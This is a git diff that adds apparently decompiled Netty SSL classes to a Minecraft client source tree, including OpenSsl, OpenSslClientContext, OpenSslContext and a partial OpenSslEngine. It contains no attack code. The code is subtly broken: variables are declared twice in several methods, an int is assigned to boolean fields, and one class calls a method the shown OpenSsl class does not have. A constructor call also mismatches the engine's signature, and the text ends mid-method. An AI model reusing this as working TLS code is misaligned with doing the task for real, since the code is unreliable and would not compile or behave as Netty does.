+    return unwrap().getPacketBufferSize();
+  }
+  
+  public int getApplicationBufferSize()
+  {
+    return unwrap().getApplicationBufferSize();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/NotSslRecordException.java b/src/minecraft/io/netty/handler/ssl/NotSslRecordException.java
new file mode 100644
index 0000000..c9945b0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/NotSslRecordException.java
@@ -0,0 +1,47 @@
+package io.netty.handler.ssl;
+
+import javax.net.ssl.SSLException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NotSslRecordException
+  extends SSLException
+{
+  private static final long serialVersionUID = -4316784434770656841L;
+  
+  public NotSslRecordException()
+  {
+    super("");
+  }
+  
+  public NotSslRecordException(String message) {
+    super(message);
+  }
+  
+  public NotSslRecordException(Throwable cause) {
+    super(cause);
+  }
+  
+  public NotSslRecordException(String message, Throwable cause) {
+    super(message, cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSsl.java b/src/minecraft/io/netty/handler/ssl/OpenSsl.java
new file mode 100644
index 0000000..a5c538e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSsl.java
@@ -0,0 +1,84 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.NativeLibraryLoader;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import org.apache.tomcat.jni.Library;
+import org.apache.tomcat.jni.SSL;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class OpenSsl
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(OpenSsl.class);
+  private static final Throwable UNAVAILABILITY_CAUSE;
+  static final String IGNORABLE_ERROR_PREFIX = "error:00000000:";
+  
+  static
+  {
+    Throwable cause = null;
+    try {
+      NativeLibraryLoader.load("netty-tcnative", SSL.class.getClassLoader());
+      Library.initialize("provided");
+      SSL.initialize(null);
+    } catch (Throwable t) {
+      cause = t;
+      logger.debug("Failed to load netty-tcnative; " + OpenSslEngine.class.getSimpleName() + " will be unavailable.", t);
+    }
+    
+
+    UNAVAILABILITY_CAUSE = cause;
+  }
+  
+
+
+
+
+  public static boolean isAvailable()
+  {
+    return UNAVAILABILITY_CAUSE == null;
+  }
+  
+
+
+
+
+
+  public static void ensureAvailability()
+  {
+    if (UNAVAILABILITY_CAUSE != null) {
+      throw ((Error)new UnsatisfiedLinkError("failed to load the required native library").initCause(UNAVAILABILITY_CAUSE));
+    }
+  }
+  
+
+
+
+
+
+
+  public static Throwable unavailabilityCause()
+  {
+    return UNAVAILABILITY_CAUSE;
+  }
+  
+  private OpenSsl() {}
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslApplicationProtocolNegotiator.java b/src/minecraft/io/netty/handler/ssl/OpenSslApplicationProtocolNegotiator.java
new file mode 100644
index 0000000..e3f25b5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslApplicationProtocolNegotiator.java
@@ -0,0 +1,11 @@
+package io.netty.handler.ssl;
+
+public abstract interface OpenSslApplicationProtocolNegotiator
+  extends ApplicationProtocolNegotiator
+{
+  public abstract ApplicationProtocolConfig.Protocol protocol();
+  
+  public abstract ApplicationProtocolConfig.SelectorFailureBehavior selectorFailureBehavior();
+  
+  public abstract ApplicationProtocolConfig.SelectedListenerFailureBehavior selectedListenerFailureBehavior();
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslCertificateException.java b/src/minecraft/io/netty/handler/ssl/OpenSslCertificateException.java
new file mode 100644
index 0000000..300ef61
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslCertificateException.java
@@ -0,0 +1,80 @@
+package io.netty.handler.ssl;
+
+import java.security.cert.CertificateException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class OpenSslCertificateException
+  extends CertificateException
+{
+  private static final long serialVersionUID = 5542675253797129798L;
+  private final int errorCode;
+  
+  public OpenSslCertificateException(int errorCode)
+  {
+    this((String)null, errorCode);
+  }
+  
+
+
+
+  public OpenSslCertificateException(String msg, int errorCode)
+  {
+    super(msg);
+    this.errorCode = checkErrorCode(errorCode);
+  }
+  
+
+
+
+  public OpenSslCertificateException(String message, Throwable cause, int errorCode)
+  {
+    super(message, cause);
+    this.errorCode = checkErrorCode(errorCode);
+  }
+  
+
+
+
+  public OpenSslCertificateException(Throwable cause, int errorCode)
+  {
+    this(null, cause, errorCode);
+  }
+  
+
+
+  public int errorCode()
+  {
+    return errorCode;
+  }
+  
+  private static int checkErrorCode(int errorCode) {
+    if ((errorCode < 0) || (errorCode > 65)) {
+      throw new IllegalArgumentException("errorCode must be 0 => 65. See https://www.openssl.org/docs/manmaster/apps/verify.html .");
+    }
+    
+
+    return errorCode;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslClientContext.java b/src/minecraft/io/netty/handler/ssl/OpenSslClientContext.java
new file mode 100644
index 0000000..e151c85
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslClientContext.java
@@ -0,0 +1,210 @@
+package io.netty.handler.ssl;
+
+import java.io.File;
+import java.security.PrivateKey;
+import java.security.cert.X509Certificate;
+import javax.net.ssl.KeyManagerFactory;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.TrustManagerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class OpenSslClientContext
+  extends OpenSslContext
+{
+  private final OpenSslSessionContext sessionContext;
+  
+  @Deprecated
+  public OpenSslClientContext()
+    throws SSLException
+  {
+    this((File)null, null, null, null, null, null, null, IdentityCipherSuiteFilter.INSTANCE, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public OpenSslClientContext(File certChainFile)
+    throws SSLException
+  {
+    this(certChainFile, null);
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public OpenSslClientContext(TrustManagerFactory trustManagerFactory)
+    throws SSLException
+  {
+    this(null, trustManagerFactory);
+  }
+  
+
+
+
+
+
+
+
+
+  @Deprecated
+  public OpenSslClientContext(File certChainFile, TrustManagerFactory trustManagerFactory)
+    throws SSLException
+  {
+    this(certChainFile, trustManagerFactory, null, null, null, null, null, IdentityCipherSuiteFilter.INSTANCE, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public OpenSslClientContext(File certChainFile, TrustManagerFactory trustManagerFactory, Iterable<String> ciphers, ApplicationProtocolConfig apn, long sessionCacheSize, long sessionTimeout)
+    throws SSLException
+  {
+    this(certChainFile, trustManagerFactory, null, null, null, null, ciphers, IdentityCipherSuiteFilter.INSTANCE, apn, sessionCacheSize, sessionTimeout);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public OpenSslClientContext(File certChainFile, TrustManagerFactory trustManagerFactory, Iterable<String> ciphers, CipherSuiteFilter cipherFilter, ApplicationProtocolConfig apn, long sessionCacheSize, long sessionTimeout)
+    throws SSLException
+  {
+    this(certChainFile, trustManagerFactory, null, null, null, null, ciphers, cipherFilter, apn, sessionCacheSize, sessionTimeout);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public OpenSslClientContext(File trustCertCollectionFile, TrustManagerFactory trustManagerFactory, File keyCertChainFile, File keyFile, String keyPassword, KeyManagerFactory keyManagerFactory, Iterable<String> ciphers, CipherSuiteFilter cipherFilter, ApplicationProtocolConfig apn, long sessionCacheSize, long sessionTimeout)
+    throws SSLException
+  {
+    this(toX509CertificatesInternal(trustCertCollectionFile), trustManagerFactory, toX509CertificatesInternal(keyCertChainFile), toPrivateKeyInternal(keyFile, keyPassword), keyPassword, keyManagerFactory, ciphers, cipherFilter, apn, sessionCacheSize, sessionTimeout);
+  }
+  
+
+
+
+
+
+  OpenSslClientContext(X509Certificate[] trustCertCollection, TrustManagerFactory trustManagerFactory, X509Certificate[] keyCertChain, PrivateKey key, String keyPassword, KeyManagerFactory keyManagerFactory, Iterable<String> ciphers, CipherSuiteFilter cipherFilter, ApplicationProtocolConfig apn, long sessionCacheSize, long sessionTimeout)
+    throws SSLException
+  {
+    super(ciphers, cipherFilter, apn, sessionCacheSize, sessionTimeout, 0, keyCertChain, ClientAuth.NONE, false);
+    
+    boolean success = false;
+    try {
+      sessionContext = ReferenceCountedOpenSslClientContext.newSessionContext(this, ctx, engineMap, trustCertCollection, trustManagerFactory, keyCertChain, key, keyPassword, keyManagerFactory);
+      
+      success = true;
+    } finally {
+      if (!success) {
+        release();
+      }
+    }
+  }
+  
+  public OpenSslSessionContext sessionContext()
+  {
+    return sessionContext;
+  }
+  
+  OpenSslKeyMaterialManager keyMaterialManager()
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslContext.java b/src/minecraft/io/netty/handler/ssl/OpenSslContext.java
new file mode 100644
index 0000000..f0458c2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslContext.java
@@ -0,0 +1,57 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBufAllocator;
+import java.security.cert.Certificate;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class OpenSslContext
+  extends ReferenceCountedOpenSslContext
+{
+  OpenSslContext(Iterable<String> ciphers, CipherSuiteFilter cipherFilter, ApplicationProtocolConfig apnCfg, long sessionCacheSize, long sessionTimeout, int mode, Certificate[] keyCertChain, ClientAuth clientAuth, boolean startTls)
+    throws SSLException
+  {
+    super(ciphers, cipherFilter, apnCfg, sessionCacheSize, sessionTimeout, mode, keyCertChain, clientAuth, startTls, false);
+  }
+  
+
+
+  OpenSslContext(Iterable<String> ciphers, CipherSuiteFilter cipherFilter, OpenSslApplicationProtocolNegotiator apn, long sessionCacheSize, long sessionTimeout, int mode, Certificate[] keyCertChain, ClientAuth clientAuth, boolean startTls)
+    throws SSLException
+  {
+    super(ciphers, cipherFilter, apn, sessionCacheSize, sessionTimeout, mode, keyCertChain, clientAuth, startTls, false);
+  }
+  
+
+  final SSLEngine newEngine0(ByteBufAllocator alloc, String peerHost, int peerPort)
+  {
+    return new OpenSslEngine(this, alloc, peerHost, peerPort);
+  }
+  
+  protected final void finalize()
+    throws Throwable
+  {
+    super.finalize();
+    OpenSsl.releaseIfNeeded(this);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslDefaultApplicationProtocolNegotiator.java b/src/minecraft/io/netty/handler/ssl/OpenSslDefaultApplicationProtocolNegotiator.java
new file mode 100644
index 0000000..b49046b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslDefaultApplicationProtocolNegotiator.java
@@ -0,0 +1,50 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class OpenSslDefaultApplicationProtocolNegotiator
+  implements OpenSslApplicationProtocolNegotiator
+{
+  private final ApplicationProtocolConfig config;
+  
+  public OpenSslDefaultApplicationProtocolNegotiator(ApplicationProtocolConfig config)
+  {
+    this.config = ((ApplicationProtocolConfig)ObjectUtil.checkNotNull(config, "config"));
+  }
+  
+  public List<String> protocols()
+  {
+    return config.supportedProtocols();
+  }
+  
+  public ApplicationProtocolConfig.Protocol protocol()
+  {
+    return config.protocol();
+  }
+  
+  public ApplicationProtocolConfig.SelectorFailureBehavior selectorFailureBehavior()
+  {
+    return config.selectorFailureBehavior();
+  }
+  
+  public ApplicationProtocolConfig.SelectedListenerFailureBehavior selectedListenerFailureBehavior()
+  {
+    return config.selectedListenerFailureBehavior();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslEngine.java b/src/minecraft/io/netty/handler/ssl/OpenSslEngine.java
new file mode 100644
index 0000000..c9b33da
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslEngine.java
@@ -0,0 +1,885 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.nio.ByteBuffer;
+import java.nio.ReadOnlyBufferException;
+import java.security.Principal;
+import java.security.cert.Certificate;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLEngineResult;
+import javax.net.ssl.SSLEngineResult.HandshakeStatus;
+import javax.net.ssl.SSLEngineResult.Status;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSessionContext;
+import javax.security.cert.X509Certificate;
+import org.apache.tomcat.jni.Buffer;
+import org.apache.tomcat.jni.SSL;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class OpenSslEngine
+  extends SSLEngine
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(OpenSslEngine.class);
+  
+  private static final Certificate[] EMPTY_CERTIFICATES = new Certificate[0];
+  private static final X509Certificate[] EMPTY_X509_CERTIFICATES = new X509Certificate[0];
+  
+  private static final SSLException ENGINE_CLOSED = new SSLException("engine closed");
+  private static final SSLException RENEGOTIATION_UNSUPPORTED = new SSLException("renegotiation unsupported");
+  private static final SSLException ENCRYPTED_PACKET_OVERSIZED = new SSLException("encrypted packet oversized");
+  private static final int MAX_PLAINTEXT_LENGTH = 16384;
+  
+  static { ENGINE_CLOSED.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+    RENEGOTIATION_UNSUPPORTED.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+    ENCRYPTED_PACKET_OVERSIZED.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+  }
+  
+
+  private static final int MAX_COMPRESSED_LENGTH = 17408;
+  
+  private static final int MAX_CIPHERTEXT_LENGTH = 18432;
+  
+  static final int MAX_ENCRYPTED_PACKET_LENGTH = 18713;
+  
+  static final int MAX_ENCRYPTION_OVERHEAD_LENGTH = 2329;
+  
+  private static final AtomicIntegerFieldUpdater<OpenSslEngine> DESTROYED_UPDATER = AtomicIntegerFieldUpdater.newUpdater(OpenSslEngine.class, "destroyed");
+  
+
+  private long ssl;
+  
+
+  private long networkBIO;
+  
+  private int accepted;
+  
+  private boolean handshakeFinished;
+  
+  private boolean receivedShutdown;
+  
+  private volatile int destroyed;
+  
+  private String cipher;
+  
+  private volatile String applicationProtocol;
+  
+  private boolean isInboundDone;
+  
+  private boolean isOutboundDone;
+  
+  private boolean engineClosed;
+  
+  private int lastPrimingReadResult;
+  
+  private final ByteBufAllocator alloc;
+  
+  private final String fallbackApplicationProtocol;
+  
+  private SSLSession session;
+  
+
+  public OpenSslEngine(long sslCtx, ByteBufAllocator alloc, String fallbackApplicationProtocol)
+  {
+    OpenSsl.ensureAvailability();
+    if (sslCtx == 0L) {
+      throw new NullPointerException("sslContext");
+    }
+    if (alloc == null) {
+      throw new NullPointerException("alloc");
+    }
+    
+    this.alloc = alloc;
+    ssl = SSL.newSSL(sslCtx, true);
+    networkBIO = SSL.makeNetworkBIO(ssl);
+    this.fallbackApplicationProtocol = fallbackApplicationProtocol;
+  }
+  
+
+
+  public synchronized void shutdown()
+  {
+    if (DESTROYED_UPDATER.compareAndSet(this, 0, 1)) {
+      SSL.freeSSL(ssl);
+      SSL.freeBIO(networkBIO);
+      ssl = (this.networkBIO = 0L);
+      
+
+      isInboundDone = (this.isOutboundDone = this.engineClosed = 1);
+    }
+  }
+  
+
+
+
+
+  private int writePlaintextData(ByteBuffer src)
+  {
+    int pos = src.position();
+    int limit = src.limit();
+    int len = Math.min(limit - pos, 16384);
+    
+    int sslWrote;
+    if (src.isDirect()) {
+      long addr = Buffer.address(src) + pos;
+      int sslWrote = SSL.writeToSSL(ssl, addr, len);
+      if (sslWrote > 0) {
+        src.position(pos + sslWrote);
+        return sslWrote;
+      }
+    } else {
+      ByteBuf buf = alloc.directBuffer(len);
+      try { long addr;
+        long addr;
+        if (buf.hasMemoryAddress()) {
+          addr = buf.memoryAddress();
+        } else {
+          addr = Buffer.address(buf.nioBuffer());
+        }
+        
+        src.limit(pos + len);
+        
+        buf.setBytes(0, src);
+        src.limit(limit);
+        
+        sslWrote = SSL.writeToSSL(ssl, addr, len);
+        if (sslWrote > 0) {
+          src.position(pos + sslWrote);
+          return sslWrote;
+        }
+        src.position(pos);
+      }
+      finally {
+        buf.release();
+      }
+    }
+    
+    throw new IllegalStateException("SSL.writeToSSL() returned a non-positive value: " + sslWrote);
+  }
+  
+
+
+  private int writeEncryptedData(ByteBuffer src)
+  {
+    int pos = src.position();
+    int len = src.remaining();
+    if (src.isDirect()) {
+      long addr = Buffer.address(src) + pos;
+      int netWrote = SSL.writeToBIO(networkBIO, addr, len);
+      if (netWrote >= 0) {
+        src.position(pos + netWrote);
+        lastPrimingReadResult = SSL.readFromSSL(ssl, addr, 0);
+        return netWrote;
+      }
+    } else {
+      ByteBuf buf = alloc.directBuffer(len);
+      try { long addr;
+        long addr;
+        if (buf.hasMemoryAddress()) {
+          addr = buf.memoryAddress();
+        } else {
+          addr = Buffer.address(buf.nioBuffer());
+        }
+        
+        buf.setBytes(0, src);
+        
+        int netWrote = SSL.writeToBIO(networkBIO, addr, len);
+        if (netWrote >= 0) {
+          src.position(pos + netWrote);
+          lastPrimingReadResult = SSL.readFromSSL(ssl, addr, 0);
+          return netWrote;
+        }
+        src.position(pos);
+      }
+      finally {
+        buf.release();
+      }
+    }
+    
+    return 0;
+  }
+  
+
+
+  private int readPlaintextData(ByteBuffer dst)
+  {
+    if (dst.isDirect()) {
+      int pos = dst.position();
+      long addr = Buffer.address(dst) + pos;
+      int len = dst.limit() - pos;
+      int sslRead = SSL.readFromSSL(ssl, addr, len);
+      if (sslRead > 0) {
+        dst.position(pos + sslRead);
+        return sslRead;
+      }
+    } else {
+      int pos = dst.position();
+      int limit = dst.limit();
+      int len = Math.min(18713, limit - pos);
+      ByteBuf buf = alloc.directBuffer(len);
+      try { long addr;
+        long addr;
+        if (buf.hasMemoryAddress()) {
+          addr = buf.memoryAddress();
+        } else {
+          addr = Buffer.address(buf.nioBuffer());
+        }
+        
+        int sslRead = SSL.readFromSSL(ssl, addr, len);
+        if (sslRead > 0) {
+          dst.limit(pos + sslRead);
+          buf.getBytes(0, dst);
+          dst.limit(limit);
+          return sslRead;
+        }
+      } finally {
+        buf.release();
+      }
+    }
+    
+    return 0;
+  }
+  
+
+
+  private int readEncryptedData(ByteBuffer dst, int pending)
+  {
+    if ((dst.isDirect()) && (dst.remaining() >= pending)) {
+      int pos = dst.position();
+      long addr = Buffer.address(dst) + pos;
+      int bioRead = SSL.readFromBIO(networkBIO, addr, pending);
+      if (bioRead > 0) {
+        dst.position(pos + bioRead);
+        return bioRead;
+      }
+    } else {
+      ByteBuf buf = alloc.directBuffer(pending);
+      try { long addr;
+        long addr;
+        if (buf.hasMemoryAddress()) {
+          addr = buf.memoryAddress();
+        } else {
+          addr = Buffer.address(buf.nioBuffer());
+        }
+        
+        int bioRead = SSL.readFromBIO(networkBIO, addr, pending);
+        if (bioRead > 0) {
+          int oldLimit = dst.limit();
+          dst.limit(dst.position() + bioRead);
+          buf.getBytes(0, dst);
+          dst.limit(oldLimit);
+          return bioRead;
+        }
+      } finally {
+        buf.release();
+      }
+    }
+    
+    return 0;
+  }
+  
+
+
+  public synchronized SSLEngineResult wrap(ByteBuffer[] srcs, int offset, int length, ByteBuffer dst)
+    throws SSLException
+  {
+    if (destroyed != 0) {
+      return new SSLEngineResult(SSLEngineResult.Status.CLOSED, SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING, 0, 0);
+    }
+    
+
+    if (srcs == null) {
+      throw new NullPointerException("srcs");
+    }
+    if (dst == null) {
+      throw new NullPointerException("dst");
+    }
+    
+    if ((offset >= srcs.length) || (offset + length > srcs.length)) {
+      throw new IndexOutOfBoundsException("offset: " + offset + ", length: " + length + " (expected: offset <= offset + length <= srcs.length (" + srcs.length + "))");
+    }
+    
+
+
+    if (dst.isReadOnly()) {
+      throw new ReadOnlyBufferException();
+    }
+    
+
+    if (accepted == 0) {
+      beginHandshakeImplicitly();
+    }
+    
+
+
+    SSLEngineResult.HandshakeStatus handshakeStatus = getHandshakeStatus();
+    if (((!handshakeFinished) || (engineClosed)) && (handshakeStatus == SSLEngineResult.HandshakeStatus.NEED_UNWRAP)) {
+      return new SSLEngineResult(getEngineStatus(), SSLEngineResult.HandshakeStatus.NEED_UNWRAP, 0, 0);
+    }
+    
+    int bytesProduced = 0;
+    
+
+
+    int pendingNet = SSL.pendingWrittenBytesInBIO(networkBIO);
+    if (pendingNet > 0)
+    {
+      int capacity = dst.remaining();
+      if (capacity < pendingNet) {
+        return new SSLEngineResult(SSLEngineResult.Status.BUFFER_OVERFLOW, handshakeStatus, 0, bytesProduced);
+      }
+      
+      try
+      {
+        bytesProduced += readEncryptedData(dst, pendingNet);
+      } catch (Exception e) {
+        throw new SSLException(e);
+      }
+      
+
+
+
+      if (isOutboundDone) {
+        shutdown();
+      }
+      
+      return new SSLEngineResult(getEngineStatus(), getHandshakeStatus(), 0, bytesProduced);
+    }
+    
+
+    int bytesConsumed = 0;
+    for (int i = offset; i < length; i++) {
+      ByteBuffer src = srcs[i];
+      while (src.hasRemaining())
+      {
+        try
+        {
+          bytesConsumed += writePlaintextData(src);
+        } catch (Exception e) {
+          throw new SSLException(e);
+        }
+        
+
+        pendingNet = SSL.pendingWrittenBytesInBIO(networkBIO);
+        if (pendingNet > 0)
+        {
+          int capacity = dst.remaining();
+          if (capacity < pendingNet) {
+            return new SSLEngineResult(SSLEngineResult.Status.BUFFER_OVERFLOW, getHandshakeStatus(), bytesConsumed, bytesProduced);
+          }
+          
+          try
+          {
+            bytesProduced += readEncryptedData(dst, pendingNet);
+          } catch (Exception e) {
+            throw new SSLException(e);
+          }
+          
+          return new SSLEngineResult(getEngineStatus(), getHandshakeStatus(), bytesConsumed, bytesProduced);
+        }
+      }
+    }
+    
+    return new SSLEngineResult(getEngineStatus(), getHandshakeStatus(), bytesConsumed, bytesProduced);
+  }
+  
+
+
+  public synchronized SSLEngineResult unwrap(ByteBuffer src, ByteBuffer[] dsts, int offset, int length)
+    throws SSLException
+  {
+    if (destroyed != 0) {
+      return new SSLEngineResult(SSLEngineResult.Status.CLOSED, SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING, 0, 0);
+    }
+    
+
+    if (src == null) {
+      throw new NullPointerException("src");
+    }
+    if (dsts == null) {
+      throw new NullPointerException("dsts");
+    }
+    if ((offset >= dsts.length) || (offset + length > dsts.length)) {
+      throw new IndexOutOfBoundsException("offset: " + offset + ", length: " + length + " (expected: offset <= offset + length <= dsts.length (" + dsts.length + "))");
+    }
+    
+
+
+    int capacity = 0;
+    int endOffset = offset + length;
+    for (int i = offset; i < endOffset; i++) {
+      ByteBuffer dst = dsts[i];
+      if (dst == null) {
+        throw new IllegalArgumentException();
+      }
+      if (dst.isReadOnly()) {
+        throw new ReadOnlyBufferException();
+      }
+      capacity += dst.remaining();
+    }
+    
+
+    if (accepted == 0) {
+      beginHandshakeImplicitly();
+    }
+    
+
+
+    SSLEngineResult.HandshakeStatus handshakeStatus = getHandshakeStatus();
+    if (((!handshakeFinished) || (engineClosed)) && (handshakeStatus == SSLEngineResult.HandshakeStatus.NEED_WRAP)) {
+      return new SSLEngineResult(getEngineStatus(), SSLEngineResult.HandshakeStatus.NEED_WRAP, 0, 0);
+    }
+    
+
+    if (src.remaining() > 18713) {
+      isInboundDone = true;
+      isOutboundDone = true;
+      engineClosed = true;
+      shutdown();
+      throw ENCRYPTED_PACKET_OVERSIZED;
+    }
+    
+
+    int bytesConsumed = 0;
+    lastPrimingReadResult = 0;
+    try {
+      bytesConsumed += writeEncryptedData(src);
+    } catch (Exception e) {
+      throw new SSLException(e);
+    }
+    
+
+    String error = SSL.getLastError();
+    if ((error != null) && (!error.startsWith("error:00000000:"))) {
+      if (logger.isInfoEnabled()) {
+        logger.info("SSL_read failed: primingReadResult: " + lastPrimingReadResult + "; OpenSSL error: '" + error + '\'');
+      }
+      
+
+
+
+      shutdown();
+      throw new SSLException(error);
+    }
+    
+
+    int pendingApp = SSL.isInInit(ssl) == 0 ? SSL.pendingReadableBytesInSSL(ssl) : 0;
+    
+
+    if (capacity < pendingApp) {
+      return new SSLEngineResult(SSLEngineResult.Status.BUFFER_OVERFLOW, getHandshakeStatus(), bytesConsumed, 0);
+    }
+    
+
+    int bytesProduced = 0;
+    int idx = offset;
+    while (idx < endOffset) {
+      ByteBuffer dst = dsts[idx];
+      if (!dst.hasRemaining()) {
+        idx++;
+      }
+      else
+      {
+        if (pendingApp <= 0) {
+          break;
+        }
+        int bytesRead;
+        try
+        {
+          bytesRead = readPlaintextData(dst);
+        } catch (Exception e) {
+          throw new SSLException(e);
+        }
+        
+        if (bytesRead == 0) {
+          break;
+        }
+        
+        bytesProduced += bytesRead;
+        pendingApp -= bytesRead;
+        
+        if (!dst.hasRemaining()) {
+          idx++;
+        }
+      }
+    }
+    
+    if ((!receivedShutdown) && ((SSL.getShutdown(ssl) & 0x2) == 2)) {
+      receivedShutdown = true;
+      closeOutbound();
+      closeInbound();
+    }
+    
+    return new SSLEngineResult(getEngineStatus(), getHandshakeStatus(), bytesConsumed, bytesProduced);
+  }
+  
+
+
+
+  public Runnable getDelegatedTask()
+  {
+    return null;
+  }
+  
+  public synchronized void closeInbound() throws SSLException
+  {
+    if (isInboundDone) {
+      return;
+    }
+    
+    isInboundDone = true;
+    engineClosed = true;
+    
+    if (accepted != 0) {
+      if (!receivedShutdown) {
+        shutdown();
+        throw new SSLException("Inbound closed before receiving peer's close_notify: possible truncation attack?");
+      }
+      
+    }
+    else {
+      shutdown();
+    }
+  }
+  
+  public synchronized boolean isInboundDone()
+  {
+    return (isInboundDone) || (engineClosed);
+  }
+  
+  public synchronized void closeOutbound()
+  {
+    if (isOutboundDone) {
+      return;
+    }
+    
+    isOutboundDone = true;
+    engineClosed = true;
+    
+    if ((accepted != 0) && (destroyed == 0)) {
+      int mode = SSL.getShutdown(ssl);
+      if ((mode & 0x1) != 1) {
+        SSL.shutdownSSL(ssl);
+      }
+    }
+    else {
+      shutdown();
+    }
+  }
+  
+  public synchronized boolean isOutboundDone()
+  {
+    return isOutboundDone;
+  }
+  
+  public String[] getSupportedCipherSuites()
+  {
+    return EmptyArrays.EMPTY_STRINGS;
+  }
+  
+  public String[] getEnabledCipherSuites()
+  {
+    return EmptyArrays.EMPTY_STRINGS;
+  }
+  
+  public void setEnabledCipherSuites(String[] strings)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public String[] getSupportedProtocols()
+  {
+    return EmptyArrays.EMPTY_STRINGS;
+  }
+  
+  public String[] getEnabledProtocols()
+  {
+    return EmptyArrays.EMPTY_STRINGS;
+  }
+  
+  public void setEnabledProtocols(String[] strings)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public SSLSession getSession()
+  {
+    SSLSession session = this.session;
+    if (session == null) {
+      this.session = (session = new SSLSession()
+      {
+        public byte[] getId() {
+          return String.valueOf(ssl).getBytes();
+        }
+        
+        public SSLSessionContext getSessionContext()
+        {
+          return null;
+        }
+        
+        public long getCreationTime()
+        {
+          return 0L;
+        }
+        
+        public long getLastAccessedTime()
+        {
+          return 0L;
+        }
+        
+
+        public void invalidate() {}
+        
+
+        public boolean isValid()
+        {
+          return false;
+        }
+        
+
+        public void putValue(String s, Object o) {}
+        
+
+        public Object getValue(String s)
+        {
+          return null;
+        }
+        
+
+        public void removeValue(String s) {}
+        
+
+        public String[] getValueNames()
+        {
+          return EmptyArrays.EMPTY_STRINGS;
+        }
+        
+        public Certificate[] getPeerCertificates()
+        {
+          return OpenSslEngine.EMPTY_CERTIFICATES;
+        }
+        
+        public Certificate[] getLocalCertificates()
+        {
+          return OpenSslEngine.EMPTY_CERTIFICATES;
+        }
+        
+        public X509Certificate[] getPeerCertificateChain()
+        {
+          return OpenSslEngine.EMPTY_X509_CERTIFICATES;
+        }
+        
+        public Principal getPeerPrincipal()
+        {
+          return null;
+        }
+        
+        public Principal getLocalPrincipal()
+        {
+          return null;
+        }
+        
+        public String getCipherSuite()
+        {
+          return cipher;
+        }
+        
+
+        public String getProtocol()
+        {
+          String applicationProtocol = OpenSslEngine.this.applicationProtocol;
+          if (applicationProtocol == null) {
+            return "unknown";
+          }
+          return "unknown:" + applicationProtocol;
+        }
+        
+
+        public String getPeerHost()
+        {
+          return null;
+        }
+        
+        public int getPeerPort()
+        {
+          return 0;
+        }
+        
+        public int getPacketBufferSize()
+        {
+          return 18713;
+        }
+        
+        public int getApplicationBufferSize()
+        {
+          return 16384;
+        }
+      });
+    }
+    
+    return session;
+  }
+  
+  public synchronized void beginHandshake() throws SSLException
+  {
+    if (engineClosed) {
+      throw ENGINE_CLOSED;
+    }
+    
+    switch (accepted) {
+    case 0: 
+      SSL.doHandshake(ssl);
+      accepted = 2;
+      break;
+    
+
+
+
+
+
+    case 1: 
+      accepted = 2;
+      break;
+    case 2: 
+      throw RENEGOTIATION_UNSUPPORTED;
+    default: 
+      throw new Error();
+    }
+  }
+  
+  private synchronized void beginHandshakeImplicitly() throws SSLException {
+    if (engineClosed) {
+      throw ENGINE_CLOSED;
